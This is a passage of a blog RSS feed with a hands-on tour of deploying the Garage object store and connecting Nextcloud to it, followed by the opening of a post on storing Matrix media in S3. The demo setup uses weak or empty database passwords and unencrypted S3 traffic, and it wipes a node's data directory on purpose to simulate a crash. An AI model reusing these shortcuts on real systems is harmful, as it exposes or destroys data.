&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /usr/local/bin/garagectl &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
#!/bin/bash
/usr/local/bin/garage &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
  --ca-cert /etc/garage/pki/garage-ca.crt &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
  --client-cert /etc/garage/pki/garage.crt &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
  --client-key /etc/garage/pki/garage.key &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;@
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF
&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt; +x /usr/local/bin/garagectl
&lt;span class=&quot;c&quot;&gt;# Creating a systemd service&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /etc/systemd/system/garage.service &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
[Unit]
Description=Garage Data Store
After=network-online.target
Wants=network-online.target
[Service]
Environment=&apos;RUST_LOG=garage=info&apos; &apos;RUST_BACKTRACE=1&apos;
ExecStart=/usr/local/bin/garage server -c /etc/garage/config.toml
DynamicUser=true
StateDirectory=garage
[Install]
WantedBy=multi-user.target
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF
&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# Activating it&lt;/span&gt;
systemctl daemon-reload
systemctl &lt;span class=&quot;nb&quot;&gt;enable &lt;/span&gt;garage
systemctl start garage
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And we execute it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nuage run ./deploy_bin.sh &amp;lt; ./garage-inventory.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;garagectl&quot;&gt;garagectl&lt;/h2&gt;

&lt;p&gt;Now that we have built a cluster, we can connect on a machine and use garagectl to configure cluster-wide parameters.
So, first connect on any server (you can run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nuage spawn &amp;lt; garage-inventory.txt&lt;/code&gt; to get your nodes IP addresses).
For example:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh root@51.158.182.206
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can see the current cluster status with:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;garagectl status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will then configure each node, assigning them:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;a relative size, because all our nodes have the same storage space, we will put a size of 1 everywhere.&lt;/li&gt;
  &lt;li&gt;a zone, that will match the country where our instances are hosted&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;garagectl status
garagectl node configure &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; pl ??
garagectl node configure &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; pl ??
garagectl node configure &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; 1 &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; fr ??
&lt;span class=&quot;c&quot;&gt;# etc.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, we can create a key, a bucket, and allow the key to access the bucket:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;garagectl key new &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; quentin
garagectl bucket create my_files
garagectl bucket allow my_files &lt;span class=&quot;nt&quot;&gt;--read&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--write&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--key&lt;/span&gt; GKfd49e3906e5d2e3e23ee07f9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Back to our local machine, we can already interact with our cluster through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;awscli&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;You can install &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;awscli&lt;/code&gt; as follow:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &quot;https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip&quot; -o &quot;awscliv2.zip&quot;
unzip awscliv2.zip
sudo ./aws/install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And quickly setup it by creating a file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.awsrc&lt;/code&gt; (edit with your access key, secret key and endpoint):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;GKfd49e3906e5d2e3e23ee07f9
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;xxxxxx
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;AWS_DEFAULT_REGION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;garage&apos;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function &lt;/span&gt;aws &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;aws &lt;span class=&quot;nt&quot;&gt;--endpoint-url&lt;/span&gt; http://51.158.182.206:3900 &lt;span class=&quot;nv&quot;&gt;$@&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
aws &lt;span class=&quot;nt&quot;&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then, each time you want to use it, run:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;source&lt;/span&gt; ~/.awsrc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, you should be able to use the awscli command freely:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws s3 &lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# list buckets&lt;/span&gt;
aws s3 &lt;span class=&quot;nb&quot;&gt;cp &lt;/span&gt;garage-inventory.txt s3://my_files/inventory.txt &lt;span class=&quot;c&quot;&gt;# send a file&lt;/span&gt;
aws s3 &lt;span class=&quot;nb&quot;&gt;ls &lt;/span&gt;my_files &lt;span class=&quot;c&quot;&gt;# list files in the bucket&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;nextcloud&quot;&gt;Nextcloud&lt;/h2&gt;

&lt;p&gt;We will provision another machine specifically for Nextcloud.
We start by creating a file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nextcloud-inventory.txt&lt;/code&gt; containing:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;fr-par-1 dev1-s debian_bullseye nextcloud-fr-1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And spawn it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nuage spawn &amp;lt; ./nextcloud-inventory.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we create an install script for Nextcloud named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deploy_nextcloud.sh&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
apt-get update
apt-get &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; apache2 mariadb-server libapache2-mod-php7.4 php7.4-gd &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
php7.4-mysql php7.4-curl php7.4-mbstring php7.4-intl php7.4-gmp &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
php7.4-bcmath php-imagick php7.4-xml php7.4-zip unzip
systemctl start mysql
mysql &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; root &lt;span class=&quot;nt&quot;&gt;--password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
CREATE DATABASE IF NOT EXISTS nextcloud CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
CREATE USER &apos;nextcloud&apos;@&apos;localhost&apos; IDENTIFIED BY &apos;nextcloud&apos;;
GRANT ALL PRIVILEGES ON nextcloud.* TO &apos;nextcloud&apos;@&apos;localhost&apos;;
FLUSH PRIVILEGES;
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF
&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fr&lt;/span&gt; nextcloud.zip nextcloud/
wget https://download.nextcloud.com/server/releases/nextcloud-22.1.1.zip &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; nextcloud.zip
unzip nextcloud.zip
&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-fr&lt;/span&gt; /var/www/nextcloud
&lt;span class=&quot;nb&quot;&gt;mv &lt;/span&gt;nextcloud /var/www
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /etc/apache2/sites-available/nextcloud.conf &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
Alias /nextcloud &quot;/var/www/nextcloud/&quot;

&amp;lt;Directory /var/www/nextcloud/&amp;gt;
  Require all granted
  AllowOverride All
  Options FollowSymLinks MultiViews

  &amp;lt;IfModule mod_dav.c&amp;gt;
    Dav off
  &amp;lt;/IfModule&amp;gt;
&amp;lt;/Directory&amp;gt;
&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF
&lt;/span&gt;a2ensite nextcloud.conf
a2enmod rewrite
a2enmod headers
a2enmod &lt;span class=&quot;nb&quot;&gt;env
&lt;/span&gt;a2enmod &lt;span class=&quot;nb&quot;&gt;dir
&lt;/span&gt;a2enmod mime
systemctl restart apache2
&lt;span class=&quot;nb&quot;&gt;chown&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; www-data:www-data /var/www/nextcloud/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then deploy it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nuage run ./deploy_nextcloud.sh &amp;lt; ./nextcloud-inventory.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then open in your browser Nextcloud, for me http://212.47.230.180/nextcloud.
Finish the installation by providing requested information.&lt;/p&gt;

&lt;p&gt;Now we will configure Nextcloud to use Garage as its primary object storage.
You can also &lt;a href=&quot;https://docs.nextcloud.com/server/latest/admin_manual/configuration_files/primary_storage.html&quot;&gt;read its documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;First, we need to create the bucket and the key (and will also allow our own key):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;garagectl bucket create nextcloud
garagectl key new &lt;span class=&quot;nt&quot;&gt;--name&lt;/span&gt; nextcloud
garagectl bucket allow nextcloud &lt;span class=&quot;nt&quot;&gt;--read&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--write&lt;/span&gt; GK872ebec80feae4ad663e82ec
garagectl bucket allow nextcloud &lt;span class=&quot;nt&quot;&gt;--read&lt;/span&gt; GKfd49e3906e5d2e3e23ee07f9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will SSH on the server and edit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.php&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh root@212.47.230.180
vim /var/www/nextcloud/config/config.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and add:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$CONFIG&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* some other config */&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;&apos;objectstore&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;s1&quot;&gt;&apos;class&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;\\OC\\Files\\ObjectStore\\S3&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s1&quot;&gt;&apos;arguments&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;bucket&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;nextcloud&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;autocreate&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;key&apos;&lt;/span&gt;    &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;GK872ebec80feae4ad663e82ec&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;secret&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;xxxxxxxxxxxxx&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;hostname&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;51.158.182.206&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;port&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3900&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;use_ssl&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;region&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;garage&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;// required for some non Amazon S3 implementations&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;use_path_style&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;If you have some errors after reloading the page, run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tail -f /var/www/nextcloud/media/nextcloud.log&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Primary storage is only one way to integrate Garage in Nextcloud, it is also possible to integrate it through the “External storage” plugin.
This method is not covered here but you can refer to &lt;a href=&quot;https://docs.nextcloud.com/server/latest/admin_manual/configuration_files/external_storage_configuration_gui.html&quot;&gt;Nextcloud’s documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;After uploading a file, you can see how nextcloud store them internally through awscli:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws s3 ls nextcloud
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our current deployment has some drawbacks: we have a single point of failure with only one server and data are not sent encrypted.
One solution is to deploy garage on our server, locally, as a gateway.
First, we install it normally:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nuage run ./deploy_pki.sh &amp;lt; ./nextcloud-inventory.txt
nuage run ./deploy_conf.sh &amp;lt; ./nextcloud-inventory.txt
nuage run ./deploy_bin.sh &amp;lt; ./nextcloud-inventory.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, we configure our new node as a gateway because we do not want to store data on it, we just want to use it to route data:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;garagectl status
garagectl node configure &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; fr &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt; 2b145f7b4c15c2a4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then we edit Nextcloud’s configuration &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/www/nextcloud/config/config.php&lt;/code&gt; to just change the hostname:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$CONFIG&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* some other config */&lt;/span&gt;
&lt;span class=&quot;s1&quot;&gt;&apos;objectstore&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;s1&quot;&gt;&apos;class&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;\\OC\\Files\\ObjectStore\\S3&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;s1&quot;&gt;&apos;arguments&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
                &lt;span class=&quot;cm&quot;&gt;/* other arguments */&lt;/span&gt;
                &lt;span class=&quot;s1&quot;&gt;&apos;hostname&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;127.0.0.1&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;cm&quot;&gt;/* other arguments */&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we have a high availability backend as our local gateway will try to route our request to available servers.&lt;/p&gt;

&lt;h2 id=&quot;handle-crashes&quot;&gt;Handle crashes&lt;/h2&gt;

&lt;p&gt;Start by choosing a node you want to crash:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nuage spawn &amp;lt; ./garage-inventory.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;SSH on it, we will simulate its failure by just stopping it (there is no difference between graceful shutdown and crashes):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh root@151.115.34.19
systemctl stop garage
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Connect on another node and note that the node is unavailable:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh root@51.15.59.148
garagectl status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For now, no re-balancing has been triggered.
Garage allows for transient failures.
If you want to re-balance, you have to explicitly remove the node from Garage.&lt;/p&gt;

&lt;p&gt;Now, let’s assume this is only a transient failure, and let’s restart it:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh root@151.115.34.19
systemctl start garage
journalctl &lt;span class=&quot;nt&quot;&gt;-fu&lt;/span&gt; garage
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note how the repair is automatically triggered.
You can still manually trigger a repair if you want:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;garagectl repair &lt;span class=&quot;nt&quot;&gt;--yes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now let’s assume that the machine burnt and all its disks are losts:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;systemctl stop garage
&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; /var/lib/garage/
systemctl start garage
garagectl status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now our node is seen as a new one and its old ID is seen as failed.
We will replace the old node with this new one with a simple command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;garagectl node configure --replace 212027752f40c4d4 -c 1 -z pl 375690c499627ea8
garagectl status
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We do not cover this part, but you can also add or remove nodes at any time and trigger a re-balance.&lt;/p&gt;

&lt;h2 id=&quot;destroy-our-vm&quot;&gt;Destroy our VM&lt;/h2&gt;

&lt;p&gt;When you’re done with this tour, just destroy the resources you created:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nuage destroy &amp;lt; ./garage-inventory.txt
nuage destroy &amp;lt; ./nextcloud-inventory.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Thanks a lot, this is the end of my tour of Garage, see you next time :)&lt;/p&gt;
</description>
        <pubDate>Thu, 23 Sep 2021 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2021-09-23/a-quick-tour-of-garage/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2021-09-23/a-quick-tour-of-garage/</guid>
      </item>
    
    
    
      <item>
        <title>Storing Matrix media on a S3 backend</title>
        
        <description>&lt;p&gt;By default, Matrix Synapse stores its media on the local filesystem which rises many issues.
It exposes your users to loss of data, availability issues but mainly scalability/sizing issues.
Especially as we live in an era where users expect no resource limitation, where software are not
designed to garbage collect or even track resource usage, it is really hard to plan ahead resources you will use.&lt;/p&gt;

&lt;p&gt;In practise, it leads to 2 observations: resource overprovisioning and distributed filesystems.
